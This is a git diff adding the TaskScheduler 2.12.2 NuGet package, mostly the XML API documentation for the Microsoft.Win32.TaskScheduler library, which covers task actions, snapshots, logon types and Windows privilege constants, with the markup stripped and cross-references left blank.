b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..4c53cbb Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.dll b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000..599c52a Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.xml b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will 